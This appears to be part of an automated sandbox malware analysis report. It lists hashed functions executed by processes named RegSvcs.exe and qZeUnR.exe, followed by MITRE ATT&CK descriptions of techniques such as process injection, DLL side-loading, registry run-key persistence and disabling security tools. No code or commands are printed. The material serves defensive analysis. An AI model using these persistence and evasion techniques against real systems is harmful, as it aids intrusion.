Instruction ID: 66c9bd174c44c13ea533c442283fe40e115d2dbc9ffc45850a720175cf566e0f
Opcode Fuzzy Hash: 9158e8219dd3b9253911c245b3e25de1c461caaee7c2e88480c5da705af4fa39
Instruction Fuzzy Hash: 86118E71B101299BEB549A68DC106AF7BEAEBC9311F0044B9C606E7384EE659C028BD0

Uniqueness

Uniqueness Score: -1.00%

Function 0159D20B Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3305584054.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_159d000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a958cd7c859b04241e3965f2995fa9ff46dd324e9e88069bdc96e2e9819e0d2
Instruction ID: dad55231c8813dea90a85d46c06b9bd263efaf9b0757758f672e8248b247c76f
Opcode Fuzzy Hash: 8a958cd7c859b04241e3965f2995fa9ff46dd324e9e88069bdc96e2e9819e0d2
Instruction Fuzzy Hash: 59218C76504284DFCF06CF54D9C4B1ABF72FB88324F2485A9D9090A656C33AD41ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 06B0F248 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d72836b61dcb42de63cf79c829be4d7de3ae422f798ccc14013c9639b3e2dc7c
Instruction ID: 740c47cdc20f842d3957ba8515c5f4a659731dae2df46569f69e5890943911e7
Opcode Fuzzy Hash: d72836b61dcb42de63cf79c829be4d7de3ae422f798ccc14013c9639b3e2dc7c
Instruction Fuzzy Hash: E7018FB5B101121BEB75D5AC985176B6BDAEBC9714F148839F90ACB380EE25DC434391

Uniqueness

Uniqueness Score: -1.00%

Function 06B03D3A Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d01dfd8a6bd00c52fc88530a7d3b1b635e0ff64ef1ab6377836038e64ec5ea0
Instruction ID: 1ae84033e9204353ced35564abeb0fb6576a5f3118d1dc3cf4b6a9883611b699
Opcode Fuzzy Hash: 8d01dfd8a6bd00c52fc88530a7d3b1b635e0ff64ef1ab6377836038e64ec5ea0
Instruction Fuzzy Hash: 3C21E0B1C01259AFDB00CF9AD884ACEFFB8FB49610F10826AE918A7240C374A554CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B0310C Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6cc07a964cce338cf088faa42fce3125a0d36fc5eb73bd6032df847c2b552f1e
Instruction ID: bb66afd90a91b8d42e10806ac370799debbef88bb6d5e4278ecbba32d1b8d2a4
Opcode Fuzzy Hash: 6cc07a964cce338cf088faa42fce3125a0d36fc5eb73bd6032df847c2b552f1e
Instruction Fuzzy Hash: C421E3B1D00659EFDB00CF9AD884ADEFFF4FB48710F10816AE918A7240C374A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 06B0A3C2 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e87f4009215edaf8e11b9e020aaa711f4b142952b33318f8d1af30c4bd71f58e
Instruction ID: a91577cf65b4c0b58ab5fe44079b0a54dbe6f54c30d3b7d11b1f48268b6111c9
Opcode Fuzzy Hash: e87f4009215edaf8e11b9e020aaa711f4b142952b33318f8d1af30c4bd71f58e
Instruction Fuzzy Hash: 66014C70B013112FEBA1973CE81075E7FD5FB89714F104869E50ACB392DE24DC424381

Uniqueness

Uniqueness Score: -1.00%

Function 06B0406F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a3875a63038d50ceb92009f587067043ba2452da7d541f853948f4957ef7872
Instruction ID: 7e9950fedddcf0e15a2e634c44eb62baabbb40664a56317ce38ab726f758175c
Opcode Fuzzy Hash: 0a3875a63038d50ceb92009f587067043ba2452da7d541f853948f4957ef7872
Instruction Fuzzy Hash: 2B01D472B111199BEB54AAA8DC106AF7BEEEBC9311F0001B5D606E7284FE658C124BE1

Uniqueness

Uniqueness Score: -1.00%

Function 06B042C8 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d953261950958c243a21ab7c73c1de94af84e3ff6873b207a59a5e8eeefa1c1
Instruction ID: 8be5b813156fa899514c0a33f7d9244d89b46ef6c870a75251b3fc028241b2a3
Opcode Fuzzy Hash: 4d953261950958c243a21ab7c73c1de94af84e3ff6873b207a59a5e8eeefa1c1
Instruction Fuzzy Hash: 8C01D170B100119BEB74A57DD81476FBBDAEBC9710F148839E20AC7384ED65EC024381

Uniqueness

Uniqueness Score: -1.00%

Function 06B0F258 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e04ff2039dbac6887f37836631bedf563f3ccd30a187e72134fea7fa2667e50
Instruction ID: cb19c305387f3855aacb3f039fab1c33b10fe55e239ce8f24203f5c8fff463e5
Opcode Fuzzy Hash: 9e04ff2039dbac6887f37836631bedf563f3ccd30a187e72134fea7fa2667e50
Instruction Fuzzy Hash: 9A01AD74B100121BEB75E5AC946073A6BDAEBC9614F148839E50AC7380EE25DC024381

Uniqueness

Uniqueness Score: -1.00%

Function 06B0A3D0 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5b98f106740c6fa70c8e16987e205c419413f1ba3bd7999b18f19dd87170ad5
Instruction ID: f7fb60b20655098f34885a3191413ea3fcd902539183e70458fa4b7df4c442bf
Opcode Fuzzy Hash: a5b98f106740c6fa70c8e16987e205c419413f1ba3bd7999b18f19dd87170ad5
Instruction Fuzzy Hash: EB018674B002155FEBA1E67CE454B2E7BD5E789714F105828E10AC7391DE25DC424781

Uniqueness

Uniqueness Score: -1.00%

Function 06B08390 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5017a1ccdd44d7adcda803aeb106a2417326a3dfbcab7fd0f5e7d9c77892fb18
Instruction ID: b448a7f63b887d6009a9be64012e275d20590fd1314d19cf39d27d25e091b439
Opcode Fuzzy Hash: 5017a1ccdd44d7adcda803aeb106a2417326a3dfbcab7fd0f5e7d9c77892fb18
Instruction Fuzzy Hash: 8CF0AFB1B00201EFFF658E58EA8127D7F68EB88314F1450B6E905CB2A1D635DE02CB91

Uniqueness

Uniqueness Score: -1.00%

Function 06B06530 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.3314298826.0000000006B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6b00000_RegSvcs.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14d314a4916b444bdccf3cbe48dab881af69bf6d0f9132f87de27d4d2e75028
Instruction ID: cb184cf1f660a3175d95457746eb1c57c8061e768f77653d0abb45cece9328a0
Opcode Fuzzy Hash: b14d314a4916b444bdccf3cbe48dab881af69bf6d0f9132f87de27d4d2e75028
Instruction Fuzzy Hash: 96E0D8B1D1520CBFEB60DE74898579E7FADEB02208F2084E4D408CB143F577D9A18790

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qZeUnR.exePID: 6596, Parent PID: 4004COMMON

Executed Functions

Function 00D31340 Relevance: .5, Instructions: 525COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66f0c299d086c0e48f10574faec078b1f133f3f26fae86c0358933473ca15d84
Instruction ID: 50d72368f73f4a15359bdd8acc5e03c093e5a598396890d9618e5c3a5d00c51a
Opcode Fuzzy Hash: 66f0c299d086c0e48f10574faec078b1f133f3f26fae86c0358933473ca15d84
Instruction Fuzzy Hash: 87221838701702CFDB18EB74E89476A77A2FB89305F248929C4568B398DB35EC87CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00D30BC0 Relevance: .3, Instructions: 338COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e706ad97fd88ca531f0a05e9d333660903be1a003955040249f2557d378c6102
Instruction ID: e3685ab8ede44bdf422c3c99e5ea9479d0fea3cc87b3cb5e225e95f67e14d88c
Opcode Fuzzy Hash: e706ad97fd88ca531f0a05e9d333660903be1a003955040249f2557d378c6102
Instruction Fuzzy Hash: B881D235A00341CFCB199BB4D8687AEBBF2EF89310F18856AD406577A4DF31AC86CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00D31230 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e69152f46ae83076d7895a9cd4c3e36ab356c0f85e653a21b0e5a91f2c5adaa
Instruction ID: 300bcb3eaf8fb46441e8adb1f19cdc3c14c15c6e7993e960c177de3be2907d74
Opcode Fuzzy Hash: 7e69152f46ae83076d7895a9cd4c3e36ab356c0f85e653a21b0e5a91f2c5adaa
Instruction Fuzzy Hash: 44311734701251CFC759AB38D8A891D7BF2AF8A71536508B8E506CF772DA36DC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00D31240 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c7d45bad75b167a96cd42740f40d31da1f6dcf264a3f7063b8c0e628e61fb2
Instruction ID: f0d34a8b44107a32197811ea3d4b3ff92240aeab0c78e60ae004a6bcaaaf2ea0
Opcode Fuzzy Hash: d6c7d45bad75b167a96cd42740f40d31da1f6dcf264a3f7063b8c0e628e61fb2
Instruction Fuzzy Hash: 2521E335701211CFC759AB79C49891D77F2AF8A71636508B8E906CF772DA36DC82CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00D31AE0 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f9d9abd9b2e9970ca83068e38137efd7481f1dbc2a5dfd68a400f09cf799de5
Instruction ID: 88789bae3f2bc3df55be522612f9f843a6d9980526fa96631d101256ad1648c3
Opcode Fuzzy Hash: 5f9d9abd9b2e9970ca83068e38137efd7481f1dbc2a5dfd68a400f09cf799de5
Instruction Fuzzy Hash: 97118E35B002049FC705EBB8E45079D7BF6EF86304F1044A9D60AAB3A5EF749D0B8B91

Uniqueness

Uniqueness Score: -1.00%

Function 00D31C00 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4afed5d86a1606456dc5e5e76391d3b3ccd3086ff63138d0ee6d851d07d19891
Instruction ID: bf077f03bd231958b07b848f98e0cbac553db314ab43b517717ffd0f810ab979
Opcode Fuzzy Hash: 4afed5d86a1606456dc5e5e76391d3b3ccd3086ff63138d0ee6d851d07d19891
Instruction Fuzzy Hash: 3011C236E002469FCB01EFB4C8449DABBB1FF8930071085A6E505A7261E730A806CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D31C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5d30ae7640b36b87e5074420fd201540e1075a053decb6f2afb7de6f6f27b6af
Instruction ID: 9f19df7cc3a85b0f73478ef9ceffa610a070902cb7ecdba9cecd700b4c3b1d75
Opcode Fuzzy Hash: 5d30ae7640b36b87e5074420fd201540e1075a053decb6f2afb7de6f6f27b6af
Instruction Fuzzy Hash: 8001B136E00206DFCB04EFB4D84499FFBF5FF88300710866AE515A7224E770A902CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00D30880 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067f2989ca14e9101136e6df3795a3a2b2bcbcc90db9574f1d86e6d3ead89023
Instruction ID: eb93456016d2c91728b4a5a0c1173d6844b0b1e4060e1457379581c244948212
Opcode Fuzzy Hash: 067f2989ca14e9101136e6df3795a3a2b2bcbcc90db9574f1d86e6d3ead89023
Instruction Fuzzy Hash: F5F06D60A0E3C5AFCB8267B89C251DD7FF4DD47600B1885FBC4C5D7153DA244916C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00D30F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a6d0a394a65ecb252ef60ccb94ead6f3c7ecb5f56915a0d2b749b7486d9767c7
Instruction ID: 1e2a973836aae4c9c24cd183b58c2bd2e3469a8355dae05353bba5e8ac6d758c
Opcode Fuzzy Hash: a6d0a394a65ecb252ef60ccb94ead6f3c7ecb5f56915a0d2b749b7486d9767c7
Instruction Fuzzy Hash: 83F03978A00306CFDB24EB78C4687AD7BF0BF48715F240858D502AB3A0CBB48C84CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D308A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.2230347025.0000000000D30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00D30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_d30000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fe2d8c5aef46d6fb774ad07f28e48eef79e8bff4e9c2c80ab11e63079aa856b
Instruction ID: 88f04784071e9eb2e317cd1c6a850b1116f35e47c61043b48c72d8f06e6a3fbe
Opcode Fuzzy Hash: 2fe2d8c5aef46d6fb774ad07f28e48eef79e8bff4e9c2c80ab11e63079aa856b
Instruction Fuzzy Hash: E7D067B1D01219AF8B40EFBD99051DEBBF8FE09251F104566D959E3200E7709A108BE1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: qZeUnR.exePID: 5752, Parent PID: 4004COMMON

Executed Functions

Function 04F41340 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b3d6aa017b751d3d481f8c916ae888ebd9808713bc5788f30453f62e6f08544
Instruction ID: cbb46e270d420bdc33c1634ff47642e6da31f70e227d958283a09e475ae55e24
Opcode Fuzzy Hash: 2b3d6aa017b751d3d481f8c916ae888ebd9808713bc5788f30453f62e6f08544
Instruction Fuzzy Hash: D6325B34B00206CFDB15EF74DA95A6A77B2FBC9345B108928D4168B399EB35EC83DB41

Uniqueness

Uniqueness Score: -1.00%

Function 04F40BC0 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bba1710c496316b7f904f431565db863fe78d6d5caf44d20e6fdb44f1da577ce
Instruction ID: 522c88e07fe2f8d4f92992dc7144218ddf1e82ffc1ef1f293a66670f4b9b8fcd
Opcode Fuzzy Hash: bba1710c496316b7f904f431565db863fe78d6d5caf44d20e6fdb44f1da577ce
Instruction Fuzzy Hash: 8281B135E00305CFDB169B70C968BAEBBB2EF88310F158569D502972A5DF75BC86DB40

Uniqueness

Uniqueness Score: -1.00%

Function 04F41230 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0723d9862800be64b66798a1f3cb32bbde258210a73266a5f56acbcb999f78
Instruction ID: 5fd367b9d43a7ab4ab3355956a701d215cfe5e2b7af0aa94620bc5b779249d72
Opcode Fuzzy Hash: 7d0723d9862800be64b66798a1f3cb32bbde258210a73266a5f56acbcb999f78
Instruction Fuzzy Hash: C2310834741610CFC759AB38D49882D7BF2AF8A71536108B8E506CF772DA36DC82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04F41240 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73a78f8b2591e65a80dcc33d11747794ff1406cabda22496adde3d78e5943f68
Instruction ID: e15b9abadc6d820b09e35d5d250e4a940352104f69f65e2bd5e174858f9bfb8e
Opcode Fuzzy Hash: 73a78f8b2591e65a80dcc33d11747794ff1406cabda22496adde3d78e5943f68
Instruction Fuzzy Hash: 4D21C235741211CFC759AB79C49892D77B2AF8A71636108B8E906CF772DA36DC82CB80

Uniqueness

Uniqueness Score: -1.00%

Function 04F41C00 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13e89bd951856d795bb307716b70121fd3b45ddebfdb1b074112336cfe4ecc9c
Instruction ID: 61552535c3ebaec2f81eaf8cd50e5bbcfde8ee67df2a97b0b82e9f12f0df181c
Opcode Fuzzy Hash: 13e89bd951856d795bb307716b70121fd3b45ddebfdb1b074112336cfe4ecc9c
Instruction Fuzzy Hash: 9911A176E002458FCB01EFB4D8819DEFBB1FF9930071186AAE51597265E7709907CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F41C10 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba17cc095f68d28ffd8086391ede57557a37ba9d294694b66ca36320c673e784
Instruction ID: b22ec1d5c5e7de537d553045a027927e030669489c89579d4300662ff8ad4e38
Opcode Fuzzy Hash: ba17cc095f68d28ffd8086391ede57557a37ba9d294694b66ca36320c673e784
Instruction Fuzzy Hash: E301B176E002069FCB00EFB4D84499FFBF5FFC8300710866AE51597224EB70A902CB90

Uniqueness

Uniqueness Score: -1.00%

Function 04F40880 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8307cee8cea6117f1b80532fd67ae3d05fff3dd05e772e72fcd04e6d1b4c62b9
Instruction ID: a68bfabd3398d4a064085ba9cecc7fbdde6b15c556a360396be026be87360030
Opcode Fuzzy Hash: 8307cee8cea6117f1b80532fd67ae3d05fff3dd05e772e72fcd04e6d1b4c62b9
Instruction Fuzzy Hash: E7F05EB0D0F3896FDB0297B49E530DEBFB0AD46640B0A44EBD4C9E7153E124491BCBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04F40F9D Relevance: .0, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bb9bb2dccd3103f8d821a8060296c9dd7c42100bc034d4474c11a21220689412
Instruction ID: 1810871cc56c515520958dd44e52f653a0c272e06e7c257d2ee4fd6fa0e13b9b
Opcode Fuzzy Hash: bb9bb2dccd3103f8d821a8060296c9dd7c42100bc034d4474c11a21220689412
Instruction Fuzzy Hash: F8F01C75A00309CFDB14DB74C66DB9D7BB0AB88714F250858D402A7261DB74A885DB60

Uniqueness

Uniqueness Score: -1.00%

Function 04F41AE0 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d32266a371c750fae765e8f4f3a12fdb75663191b6260586653b6ad49a1e5ee
Instruction ID: 7aefbb97fab762686fed943b6d12cb81f01ea46f926fc4b3aa380dbb5ef92860
Opcode Fuzzy Hash: 8d32266a371c750fae765e8f4f3a12fdb75663191b6260586653b6ad49a1e5ee
Instruction Fuzzy Hash: 30D05B357002149FC710EB75EE49E453B78EF49711F504095E504CB2A0EB72EC15C7D1

Uniqueness

Uniqueness Score: -1.00%

Function 04F408A8 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2314019424.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_4f40000_qZeUnR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0852acb0ce490ae8c6ba95f79b793678783ca8dfcdc8c447b15fb12b0ebde03
Instruction ID: b1e326a9fc47e9d1e6ba6580ddbf47975529fda08209899dde1cd4acc44c6f88
Opcode Fuzzy Hash: d0852acb0ce490ae8c6ba95f79b793678783ca8dfcdc8c447b15fb12b0ebde03
Instruction Fuzzy Hash: 94D067B1D0121DAF8B40EFB99A055DEBBF8FE49250B114566D919E3200F6705A149BD1

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
